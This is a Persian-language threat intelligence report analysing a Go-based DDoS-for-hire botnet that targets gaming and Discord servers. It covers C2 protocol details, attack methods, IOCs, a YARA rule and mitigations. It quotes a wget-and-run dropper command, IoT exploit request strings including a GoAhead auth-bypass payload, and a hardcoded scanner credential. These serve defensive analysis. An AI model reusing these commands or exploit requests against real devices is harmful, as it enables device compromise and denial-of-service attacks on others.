malware · botnet · ddos · golang · iot · honeypot · gaming · mirai

درون یک عملیات DDoS اجاره‌ای گیمینگ

‏Kinryū Labs با اطمینان بالا ارزیابی می‌کند که این یک عملیات تجاری DDoS اجاره‌ای متمرکز بر گیمینگ است که روی یک کیت سازندهٔ بات‌نت مشترک اجرا می‌شود. همان پایگاه کد Go را گردانندگان مختلف با سرورهای C2 و چیدمان‌های حملهٔ خودشان کامپایل می‌کنند؛ ناوگانِ تحلیل‌شده در اینجا یک API اجاره‌ایِ خودخدمت و محدود به حساب کاربری و یک موجودیِ زندهٔ بات از حدود 28 تا 32 دستگاه را عرضه می‌کند و سفارش‌های حملهٔ مشتریان را علیه زیرساخت گیمینگ و صوتی اعزام می‌کند. کانال فرمان TCP خامِ آن بدون احراز هویت است، حال آنکه ثبت بات پشت یک کانال SSH احرازهویت‌شده با رمز عبور محدود شده است.

نوشتهٔ Davis Zheng·

TLP:CLEAR. برای انتشار عمومی تأیید شد. توسط شبکهٔ حسگرهای هانی‌پات Kinryū Labs ضبط شد. نشانگرهای زیر خنثی‌شده‌اند (defanged).

خلاصهٔ مدیریتی

  • 11باینری یکتا در 7 معماری
  • 28-32بات فعال روی API اجاره‌ای
  • 1گونهٔ دارای قابلیت SSH (همان PE ویندوزی)

این یک بات‌نت DDoS بر پایهٔ Go با قابلیت‌های کرم IoT است که از طریق یک دراپر چندمعماری (bins.sh) توزیع می‌شود و به‌صورت یک سرویس تجاری DDoS اجاره‌ای اداره می‌شود. بات از طریق TCP خام به سرور فرمان‌ودهی‌اش متصل می‌شود، ضربان‌های STATS دوره‌ای می‌فرستد، و فرمان‌های حملهٔ جداشده با خط جدید دریافت می‌کند. ‏Kinryū Labs با اطمینان بالا ارزیابی می‌کند که این یک بات‌نت DDoS اجاره‌ایِ فعال و متمرکز بر گیمینگ است.

ویژگی متمایزکننده یک عدم‌تقارن در احراز هویت است. کانال فرمان روی 9111/tcp بدون احراز هویت است: هیچ رمز عبور، توکن یا چالش‑پاسخی میان اتصال TCP و اعزام فرمان رد و بدل نمی‌شود. ثبت بات جداگانه روی یک کانال SSH احرازهویت‌شده با رمز عبور روی 911/tcp پیگیری می‌شود، و شمارندهٔ باتِ API اجاره‌ای همان ثبت‌های احرازهویت‌شده را بازتاب می‌دهد نه اتصال‌های فرمانِ باز را. باینری تحلیل‌شده تنها با کانال TCP خام صحبت می‌کند و هیچ کلاینت SSH ندارد، پس ثبت توسط یک مؤلفهٔ بارگذارِ (loader) جداگانه انجام می‌شود.

این عملیات به‌صورت یک کسب‌وکار آشکار اجرا می‌شود. میزبان فرمان‌ودهی یک API اجاره‌ای DDoS خودخدمت و محدود به حساب کاربری را به‌عنوان نمای بیرونی عرضه می‌کند، یک شمارش زنده از موجودی بات خود منتشر می‌کند، و یکی از چندین ویترین ساخته‌شده از همان کیت بات‌نت است. طی چند ساعت پایش، سرویس سفارش‌های حملهٔ مشتریان را در زمان واقعی اعزام کرد.

داوری‌های کلیدی
  • کانال فرمان بدون احراز هویت است؛ ثبت این‌گونه نیست. ‏TCP خام به 9111 فرمان‌ها را بدون هیچ احراز هویتی می‌پذیرد، حال آنکه شمارش باتِ API اجاره‌ای نشست‌های SSH احرازهویت‌شده با رمز عبور روی 911 را پیگیری می‌کند. آزمایش زنده تأیید کرد که یک اتصال TCP خام به 9111 و یک تبادل کلید SSH بدون احراز هویت روی 911، هر دو شمارش بات را بدون تغییر می‌گذارند.
  • ناوگان یک پایگاه کد Go است که به شیوه‌های گوناگون کامپایل شده. شانزده فایل روی فایل‌سرور C2 پس از حذف تکراری‌ها به یازده باینری یکتا در هفت معماری کاهش می‌یابند، که همه مسیر ماژول Botnet/Bot و پرچم‌های ساخت -tags=netgo -trimpath=true را به‌اشتراک می‌گذارند. ‏PE ویندوزی تنها گونه‌ای با کلاینت SSH است؛ ساخت‌های Linux و IoT از طریق بهره‌کشی‌های اسکنر و دراپر منتشر می‌شوند.
  • سرویس بازار stresserِ گیمینگ را هدف می‌گیرد. مجموعهٔ شیوه‌ها شامل سیل‌های FiveM، Minecraft و Discord است، و فرمان‌های حملهٔ زنده‌ای که ضبط کردیم تقریباً به‌طور کامل به‌سوی زیرساخت گیمینگ و صوتی هدایت شده بودند.
  • این چارچوب یک طراحی از تبار Mirai است که در Go بازنویسی شده. الگوهای ساختاری Mirai را به‌اشتراک می‌گذارد: یک کانال فرمان TCP بدون احراز هویت، فرمان‌های متنیِ تفکیک‌شده، اعزام یک goroutine به‌ازای هر حمله، و یک اسکنر IoT که همان اهداف بهره‌کشی را می‌زند، که در Go با شیوه‌های بازار گیمینگ، سیل‌های TLS/HTTPS، و یک API اجاره‌ایِ الصاق‌شده بازپیاده‌سازی شده است.
  • این یک کیت سازندهٔ مشترک است، نه یک بات‌نت سفارشی. یک سرور دراپر ثانویه زیرساخت را با C2 گردانندهٔ دیگری به‌اشتراک می‌گذارد، و ناوگان‌های ساخته‌شده از این کیت مسیر ماژول، اسکنر، سازوکارهای ماندگاری، و بهره‌کشی‌های روتر را به‌اشتراک می‌گذارند، حال آنکه در نشانی C2 و گزینش شیوهٔ حمله تفاوت دارند.

کیت و گونه‌های آن

‏C2 یک دایرکتوری باز میزبانی می‌کند که ناوگان بات‌نت را عرضه می‌کند. شانزده فایل بر پایهٔ SHA-256 به یازده باینری یکتا کاهش می‌یابند و x86، x86-64، ARM (v5/v6/v7)، ARM64 و MIPS (بزرگ‌بیتی و کوچک‌بیتی) را در کنار یک PE ویندوزی و یک استابِ کمینه پوشش می‌دهند. همه پایگاه کد Go با نام Botnet/Bot را به‌اشتراک می‌گذارند که با Go 1.26.4 کامپایل شده، بدون هیچ واردات شخص ثالثی جز کلاینت SSH ساخت ویندوز.

سه نکته برجسته‌اند:

  • ‏PE ویندوزی تنها گونهٔ دارای قابلیت SSH است. تنها bot.exe بستهٔ golang.org/x/crypto/ssh را وارد می‌کند؛ یک اسکن کامل رشته‌ای از ساخت Linux amd64 و مقایسهٔ میان‌باینری در سراسر هر یازده باینری یکتا هیچ واردات SSH در جای دیگری نیافت. گونه‌های Linux و IoT از طریق اسکنر و دراپر پخش می‌شوند.
  • یک گونه یک ساخت قدیمی‌تر و بدون C2 است.x866 با Go 1.25.6 کامپایل شد، در برابر 1.26.4 ناوگان، کوچک‌ترین گونهٔ ELF است، و هیچ نشانی C2 آشکاری ندارد؛ نشانی احتمالاً کدگذاری شده یا در زمان اجرا تأمین می‌شود. پایگاه کد Botnet/Bot را به‌اشتراک می‌گذارد، که آن را به همان گرداننده گره می‌زند.
  • sora.x86 یک بات‌نت نیست. با وجود نام فایلی که خانوادهٔ «Sora» از Mirai را تداعی می‌کند، این یک استاب کمینهٔ Go است که با همان زنجیرهٔ ابزار ساخته شده و کل کد کاربرِ آن sora.x86 is running را چاپ می‌کند و خارج می‌شود، بدون هیچ نشانی C2، اسکنر، شیوهٔ حمله یا اعتبارنامه. به احتمال زیاد به‌عنوان یک نگهبان فرآیند (process sentinel) یا یک طعمه روی فایل‌سرور عمل می‌کند.

سه ضبط از PE ویندوزی حدوداً یک هفته را پوشش می‌دهند: دو مورد بایت‌به‌بایت یکسان‌اند، یکی متأخرتر یک بازساختِ برهنه‌شدهٔ کوچک‌تر است، و یکی حتی متأخرتر یک بازکامپایلِ کامل‌ویژگی است که با نسخهٔ اصلی تفاوت دارد.

پروتکل C2

کانال فرمان TCP خام و بدون احراز هویت لایهٔ انتقال است. توالی اتصال عبارت است از یک بازیابی اختیاری پیکربندی (GET /config.dat، که در برابر یک checkcode جاسازی‌شده اعتبارسنجی می‌شود)، یک روال ماندگاری، سپس یک net.Dial به پورت فرمان، که پس از آن بات فرمان‌ها را می‌خواند بی‌آنکه ابتدا چیزی بنویسد.

بات (به‌ازای هر میزبان) SSH · :911 · احراز با رمز عبور ثبت‌شده شمارش‌شده با /stats TCP خام · :9111 · بدون احراز فرمان‌های حمله + ضربان STATS HTTP · :9111/config.dat پیکربندی
چرخهٔ حیات ارزیابی‌شدهٔ بات. ثبت احرازهویت‌شده است و مبنای شمارش باتِ API اجاره‌ای است؛ کانال فرمان چنین نیست.
  • ضربان: STATS|%d|%d|%d|%d|%s\n. فیلد پایانی سیستم‌عامل یا معماری است (برای مثال amd64)؛ چهار عدد صحیح، شمارش‌های حمله، اتصال، اسکن و آلودگی را گزارش می‌کنند.
  • فرمان‌ها: جداشده با خط جدید و تقسیم‌شده با فاصلهٔ سفید، به شکل ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. فیلد نخست شیوه را برمی‌گزیند و فیلدهای عددی با strconv.Atoi تجزیه می‌شوند.
  • اتصال مجدد: یک تایمر 120 ثانیه‌ای دوباره به حلقهٔ اتصال وارد می‌شود.
  • پیکربندی: اعتبارنامه‌ها و پیکربندی از config.dat کشیده و با یک رمز XOR چندمرحله‌ایِ سفارشی رمزگشایی می‌شوند (یک بافر 4,078 بایتی که با فاصله مقداردهی اولیه شده، سپس XOR در سطح بایت با دو بایتِ کلید ثابت، 0x24 و 0x3C). در زمان تحلیل، config.dat عرضه نمی‌شد، که نشان می‌دهد گرداننده آن را غیرفعال یا جابه‌جا کرده بود.

شیوه‌های حمله

بات یک جعبه‌ابزار DDoS گسترده را عرضه می‌کند که از نام توابع و رشته‌های لاگ آن فهرست شده است:

شیوه‌های حمله

هدف‌گرفتهٔ گیمینگ: FiveMFlood، FiveMBypass، FiveMTCP، Minecraft، Discord.

لایهٔ 7: HTTPSFlood (Starting Optimized HTTPS Flood on)، Bypass، TLSFlood، TLSPlusFlood، TLSPlusBypassFlood، Priv7Flood (PRIV7 Attack finished).

لایهٔ 4: TCPFlood، PPSFlood، PPSRawFlood، RawTCPFlood، RawACKFlood، ResetAttack.

لایهٔ 3: UdpFlood، RawUDPFlood، UDPPPSFlood (Extreme UDP (PPS))، GbpsFlood (High GBPS)، DNSFlood.

ویژه / مخصوص میزبانی: OVHFlood (هدف: OVH)، GameFlood، FortAttack (Fortnite)، Crash، Freez.

فقط Linux (در ساخت PE نیست): NtpAmp (تقویت کامل NTP؛ PE یک استاب عرضه می‌کند)، HandshakeFlood (سیل TCP SYN مبتنی بر سوکت خام با جعل IP)، VoultFlood (سیل مبتنی بر سوکت خام با محاسبهٔ checksum).

سیل‌های HTTP دوازده رشتهٔ User-Agent مرورگرِ سخت‌کدشده را می‌چرخانند و یک Referer از مجموعه‌ای از سایت‌های خوش‌اعتبار (google.com، twitter.com، facebook.com، fbi.gov، reddit.com، bing.com) تنظیم می‌کنند تا با ترافیک مشروع درآمیزند و از فیلترسازی WAF بگذرند.

اسکنر و کرم IoT

اسکنر اعتبارنامه‌های ورودِ IoT را به‌شکل بی‌رحمانه (brute-force) می‌آزماید و چندین پشتهٔ وبِ دستگاه‌های تعبیه‌شده را بهره‌کشی می‌کند: دوربین‌های JAWS DVR/IP (GET /syscmd.htm)، وب‌سرور Boa روی روترها (POST /boafrm/formSysCmd، POST /boafrm/formLogin)، و دستگاه‌های مبتنی بر GoAhead (setUserLogin برای دور زدن احراز هویت و ساخت کاربر مدیر، getSanvas برای استخراج پیکربندی). دستگاه‌های در معرض خطر وادار می‌شوند تا wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh را اجرا کنند.

اعتبارنامه‌ها تفکیک‌شده‌اند. یک رمز عبور اسکنر در باینری سخت‌کد شده (555111111!!، با نام کاربری محتملِ 555)، حال آنکه فهرست انبوه اعتبارنامه‌ها در زمان اجرا از config.dat کشیده و با XOR رمزگشایی می‌شود.

ماندگاری از چهار سازوکار به‌علاوهٔ استتار فرآیند استفاده می‌کند: یک واحد systemd در /etc/systemd/system/sysd.service (با daemon-reload)، یک ورودی cron از طریق /tmp/cron_tmp، rc.local (/etc/rc.local، /etc/rc.d/rc.local)، و init.d (/etc/init.d/boot.local). فرآیند خود را به‌جای یک دیمن سیستمی به‌نام sysd جا می‌زند.

عملیات اجاره‌ای

میزبان فرمان‌ودهی مانند یک کسب‌وکار چیده شده است. SSH گرداننده را روی 22، یک کانال ثبتِ باتِ Go SSH را روی 911 (احراز با رمز عبور، روی یک کلید RSA-2048 متمایز)، یک API HTTP اجاره‌ای DDoS را روی 3333، کانال فرمان TCP خام را روی 9111، و یک فایل‌سرور دایرکتوری‌باز را روی 5001 که ناوگان بات را برای دانلود میزبانی می‌کند، در معرض دید می‌گذارد.

مشتری برای دسترسی پول می‌دهد سفارش API اجاره‌ای :3333 · محدود به حساب فرمان C2 · :9111 28-32 بات بدون احراز هویت سیل هدف
سرویس اجاره‌ای. یک سفارش احرازهویت‌شده (host, method, time, port) به یک فرمان بدل می‌شود که روی کانال بدون احراز هویت به موجودیِ بات اعزام می‌شود.

یک ویترین خودخدمت. API روی 3333 یک بوکرِ (booter) کمینه و تک‌نقطه‌ای است. ‏/stats یک شمارش زنده از موجودی بات بازمی‌گرداند؛ /api یک سفارش می‌گیرد. این API user و psw، یعنی اعتبارنامه‌های حساب هر مشتری را، در کنار host، method، time/duration و port، یعنی پارامترهای هدف و حمله، اعتبارسنجی می‌کند و هر چیزِ غایب یا بدون احراز هویت را رد می‌کند. فرم سفارش از کاوش‌های بدون احراز هویت قابل‌مشاهده است:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

فرم سفارش یک‌به‌یک بر قالب فرمان بات (ATTACK_TYPE TARGET PORT DURATION) نگاشته می‌شود: یک درخواست API احرازهویت‌شده به یک خط تکی بدل می‌شود که روی کانال بدون احراز هویتِ 9111 به هر باتِ ثبت‌شده اعزام می‌شود.

یک موجودیِ گزین‌شده./stats در طول بازهٔ پایش‌شده 28 تا 32 باتِ فعال را با گردشِ پیوسته گزارش کرد. از آنجا که آن شمارنده ثبت‌های احرازهویت‌شده با رمز عبور روی 911 را پیگیری می‌کند نه اتصال‌های فرمان خام را، یک شمارش موجودیِ وارسی‌شده است. این دلیل عملیاتیِ آن است که ثبت و اعزام فرمان میان دو کانال تفکیک شده‌اند: یک دروازه برای تصمیم دربارهٔ اینکه کدام بات‌ها به سرویس تعلق دارند، و یک کانال باز برای راندنِ آن‌ها.

یک چرخش از استخراج به DDoS. سرور دراپر ثانویه یک miner.sh خالی‌شده را در کنار ناوگان DDoS حمل می‌کند، باقی‌ماندهٔ یک مؤلفهٔ استخراج‌کنندهٔ رمزارز که از آن پس حذف شده است. به نظر می‌رسد گرداننده از استخراج رمزارز به فروش DDoS نقل‌مکان کرده است.

اجرای سفارش، مشاهده‌شده به‌صورت زنده

ما پروتکل مهندسی‌معکوس‌شده را با یک پایشگر منفعل در برابر C2 زنده اعتبارسنجی کردیم و کارکرد سرویس را تماشا کردیم. ‏C2 بیشترِ اوقات بیکار بود؛ در طول یک نشست چندساعته سیزده فرمان حمله اعزام کرد، که هر یک سفارش یک مشتری بود که به ناوگان هل داده می‌شد.

سفارش‌ها تقریباً به‌طور کامل به‌سوی زیرساخت گیمینگ و صوتی نشانه رفته بودند: عمدتاً سرورهای بازی FiveM (GTA V) روی Google Cloud در عربستان سعودی، در کنار نقاط پایانی صوتی Discord روی Cloudflare و یک جفت وب‌سرور. ما ارزیابی می‌کنیم که این یک سرویس stresserِ متمرکز بر گیمینگ است که بر پایهٔ یک منازعهٔ مشتریِ مشخص عمل می‌کند. الگوی اعزام مانند تحویل سرویس خوانده می‌شود: مدت‌های حملهٔ رده‌بندی‌شده که به رده‌های محصول شباهت دارند (کاوش‌های 20 ثانیه‌ای، استاندارد 30 ثانیه‌ای، پایدار 60 ثانیه‌ای)، تشدید شیوه (یک سیل عمومی برای آزمودن یک هدف، سپس یک شیوهٔ خاصِ پروتکل علیه آن)، اعزام جفتی و رگباری که پس از آن سکوت می‌آید، و ضربهٔ مضاعف به هر دو IP در پشتِ کانال صوتیِ توازن‌بارشدهٔ یک سرور Discord.

یک کیت سازندهٔ مشترک

این یک بات‌نت سفارشی نیست. این یک ساخت از یک کیت بات‌نت است که گردانندگان مختلف آن را سفارشی می‌کنند و به‌عنوان سرویس خودشان اجرا می‌کنند. روشن‌ترین نمای این کیت یک مقایسهٔ کنار‌به‌کنار با ناوگانِ گزارش پیشین ما، یک بات‌نت DDoS اجاره‌ای چندسکویی بر پایهٔ Go، است که روی همان پایگاه کد اجرا می‌شود:

گزارش پیشیناین عملیات
پایگاه کدکیت Go با نام Botnet/Botهمان کیت Go با نام Botnet/Bot
تحویلJenkins RCE + اسکنر IoTJenkins RCE + اسکنر IoT
اسکنر، ماندگاری، بهره‌کشی‌های روترمشترکمشترک
نشانی C2185.226.93[.]2425.175.140[.]178
چیدمان و بازارDDoS همه‌منظورهstresserِ گیمینگ (FiveM، Minecraft، Discord)

ناوگان‌ها مسیر ماژول Botnet/Bot، همان اسکنر و بهره‌کشی‌های IoT، همان سازوکارهای ماندگاری، و همان دراپر را به‌اشتراک می‌گذارند، و روی زیرساخت هم‌پوشان اجرا می‌شوند: سرور دراپر ثانویه در اینجا (185.226.93[.]242) همان C2 گزارش پیشین است. آنچه تفاوت دارد چیدمان و بازار است. آن ناوگان دیگر یک مجموعهٔ سیل همه‌منظوره را کامپایل می‌کند؛ گرداننده در اینجا شیوه‌های گیمینگ را کامپایل می‌کند و API سفارش اجاره‌ای را عرضه می‌کند، که مستقیماً بازار stresserِ گیمینگ را نشانه گرفته است. این‌ها روی‌هم به یک اقتصاد کیت سازنده اشاره دارند: یک پایگاه کد مشترک که دوباره فروخته یا دست‌به‌دست می‌شود، و هر گرداننده یک ویترین با اهداف خودش برپا می‌کند.

نشانگرهای نفوذ

زیرساخت مهاجم خنثی‌شده است. درهم‌ها دقیقاً بازتولید شده‌اند.

شبکه

نشانگرزمینه
5.175.140[.]178:911/tcpثبت بات (Go SSH، احراز با رمز عبور؛ شمارش‌شده توسط API اجاره‌ای)
5.175.140[.]178:9111/tcpاعزام فرمان (TCP خام، بدون احراز هویت؛ شمارش‌نشده)
5.175.140[.]178:3333/tcpAPI اجاره‌ای DDoS (/stats، /api)
5.175.140[.]178:5001/tcpفایل‌سرور دایرکتوری‌باز (ناوگان بات + دراپر)
5.175.140[.]178:22/tcpSSH گرداننده (OpenSSH 9.7p1 Ubuntu)
hxxp://5.175.140[.]178:9111/config.datبازیابی پیکربندی روی TCP خام
hxxp://5.175.140[.]178:5001/bins.shدراپر چندمعماری (اصلی)
185.226.93[.]242:1001/tcpدراپر ثانویه (C2 یک گردانندهٔ جداگانه)
hxxp://185.226.93[.]242:1001/bins.sh، …/binns.shدراپر (ثانویه + گونهٔ با غلط تایپی)
217.60.195[.]229نشانی مبدأ که نمونه را تحویل داد
5.175.140[.]0/24تخصیص میزبانی

رشته‌های اسکنر / انتشار

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

آثار میزبان

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

فایل‌ها (SHA-256)، Go 1.26.4 مگر جایی که خلافش ذکر شده

درهم‌های کامل فایل‌ها
bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

x86/i386، گروه ARM7 (android_arm/arm/arm7/armv7l)، و android_arm64/arm64 بایت‌به‌بایت یکسان‌اند؛ arm6 با وجود اندازهٔ یکسان از گروه ARM7 تفاوت دارد (به‌سبب تولید کد متفاوتِ GOARM).

میزبانی

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

شناسایی

رشته‌ها پایدار و مبهم‌نشده‌اند، پس امضاها ساده‌اند. قاعدهٔ YARA زیر یک نامزد است که از رشته‌های متمایز ساخته شده؛ پیش از استقرار اعتبارسنجی کنید.

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

منطق شناسایی افزوده:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

رفع

  • ‏Jenkins یا دیگر رابط‌های CI/CD و مدیریتی را به اینترنت در معرض نگذار. این بردار تحویل بود.
  • دستگاه‌های IoT مبتنی بر JAWS، Boa و GoAhead را وصله یا قطعه‌بندی کن، و دسترسی بیرونی به رابط‌های مدیریتی‌شان را مسدود کن. این‌ها اهداف انتشار اسکنرند.
  • زیرساخت C2 و دراپر را مسدود کن در محیط (5.175.140[.]178 و دراپرِ 185.226.93[.]242:1001)، و بر سرِ بازیابی config.dat و زنجیرهٔ اجرای bins.sh هشدار بده.
  • بر سرِ آثار ماندگاری و نام فرآیندِ sysd هشدار بده، و بر سرِ الگوی ضربانِ STATS| در خروجی.

نگاشت MITRE ATT&CK

تاکتیکتکنیک
Initial AccessT1190 Exploit Public-Facing Application (تحویل با Jenkins؛ بهره‌کشی‌های پشتهٔ وبِ IoT شاملِ JAWS / Boa / GoAhead)
ExecutionT1059.004 Command and Scripting Interpreter: Unix Shell (دراپرِ bins.sh)
PersistenceT1543.002 Systemd Service (sysd.service)؛ T1053.003 Cron؛ T1037.004 RC Scripts (rc.local)؛ اسکریپت بوتِ init.d
Defense EvasionT1036 Masquerading (نام فرآیندِ sysd؛ جعل User-Agent مرورگر و referer)؛ T1027 Obfuscated Files or Information (config.dat کدشده با XOR)
Credential AccessT1110 Brute Force (ورود دستگاه IoT)
DiscoveryT1046 Network Service Scanning (اسکنر IoT)
Command and ControlT1071.001 Web Protocols (config.dat)؛ T1571 Non-Standard Port (911، 9111، 3333، 5001)؛ T1105 Ingress Tool Transfer (دراپر چندمعماری)
ImpactT1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord)؛ T1498.002 Reflection Amplification (DNS / NTP)

روش‌شناسی و یادداشت‌ها

  • تحلیل، مهندسی معکوسِ ایستا به‌علاوهٔ اعتبارسنجی منفعلِ پروتکل زنده است؛ باینری‌ها هرگز اجرا نشدند.
  • نشانگرها خنثی‌شده‌اند و درهم‌ها دقیقاً بازتولید شده‌اند.
  • نمونه‌ها به‌درخواست در اختیار دیگر پژوهشگران و مدافعان قرار می‌گیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آن‌ها نیاز دارید ایمیل بزنید.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). درون یک عملیات DDoS اجاره‌ای گیمینگ. https://kinryu.sh/fa/reports/gaming-ddos-for-hire-operation/